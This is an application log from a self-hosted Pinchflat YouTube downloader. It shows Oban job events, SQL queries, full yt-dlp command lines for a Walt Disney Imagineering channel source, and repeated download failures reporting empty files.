thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f9/26/f926cb7499e5a642934498ed169ef013dd076f1995fbe2a47e4fd2fcf9b1b77b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 21:36:30.673 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 21:36:30.674 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49181879,"event":"job:exception","queue_time":874711,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:36:50.357 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.125 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:37:20.359 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:50.360 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.126 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:38:20.361 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:50.362 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.127 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:39:20.363 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:50.364 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.128 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:40:20.366 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:50.367 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.129 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:41:20.368 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:50.369 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.130 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:42:20.370 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:50.371 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.131 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:43:20.372 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:33.017 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1775007813017528587,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:43:33.018 [debug] QUERY OK source="media_items" db=0.2ms idle=1494.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 21:43:33.018 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:43:33.018 [debug] QUERY OK source="sources" db=0.2ms idle=1494.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:33.019 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:33.019 [debug] QUERY OK source="media_items" db=0.2ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 21:43:33.020 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 21:43:33.020 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:33.020 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:33.020 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:33.021 [debug] Running yt-dlp command for action: get_downloadable_status 21:43:33.021 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:33.021 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:33.022 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:33.022 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d1/2a/d12a03506da39e6a1e633d3e3e250c92c6a7386d97b04a852e25b405b7b1acd4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:43:37.855 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d1/2a/d12a03506da39e6a1e633d3e3e250c92c6a7386d97b04a852e25b405b7b1acd4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:43:37.855 [debug] Running yt-dlp command for action: download 21:43:37.855 [debug] QUERY OK source="settings" db=0.1ms idle=1331.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:37.855 [debug] QUERY OK source="settings" db=0.0ms idle=1332.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:37.856 [debug] QUERY OK source="settings" db=0.1ms idle=1332.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:37.856 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/06/f8/06f87b3224459fef2e8a6e14a39087a2c204d8f2f56748080a87caeba6d9f496.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:43:50.374 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.132 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:44:20.375 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:37.913 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/06/f8/06f87b3224459fef2e8a6e14a39087a2c204d8f2f56748080a87caeba6d9f496.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 21:44:37.913 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 21:44:37.914 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":64896475,"event":"job:exception","queue_time":934781,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:44:50.377 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.133 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:45:20.378 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:50.380 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.134 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:46:20.381 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:50.382 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.135 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:47:20.383 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:50.384 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.136 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:48:20.386 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:50.387 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.137 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:49:20.388 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:50.389 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.138 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:50:20.390 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:50.391 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.139 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:51:20.392 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:50.394 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.140 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:52:20.395 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:50.397 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.141 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:53:20.399 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:50.400 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.142 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:54:20.402 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:50.403 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.143 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:55:20.404 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:50.405 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.144 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:56:20.406 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:50.407 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.145 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:57:20.409 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:50.411 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.146 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:58:20.412 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:50.413 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.147 [info] {"source":"oban","duration":298,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:59:20.414 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:50.415 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.149 [info] {"source":"oban","duration":1317,"event":"plugin:stop","jobs":[1739],"plugin":"Oban.Plugins.Cron"} 22:00:00.156 [info] {"args":{},"id":1739,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1775008800156127672,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:00.166 [debug] QUERY OK source="media_items" db=9.5ms idle=632.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:00:00.166 [info] Redownloading 0 media items 22:00:00.166 [info] {"args":{},"id":1739,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":10040,"event":"job:stop","queue_time":155441,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:20.416 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:50.417 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.150 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:01:20.419 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:50.421 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.151 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:02:20.422 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:50.423 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.152 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:03:20.424 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:50.425 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.153 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:04:20.426 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:50.427 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.154 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:05:20.428 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:50.429 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.155 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:06:20.430 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:50.431 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.156 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:07:20.432 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:50.434 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.157 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:08:20.435 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:50.436 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.158 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:09:20.438 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:50.440 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.159 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:10:20.442 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:50.443 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.160 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:11:20.444 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:50.445 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.162 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:12:20.446 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:50.447 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.162 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:13:20.448 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:50.450 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.163 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:14:20.451 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:50.452 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.164 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:15:20.453 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:50.454 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.165 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:16:20.455 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:50.456 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.166 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:17:20.458 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:50.459 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.167 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 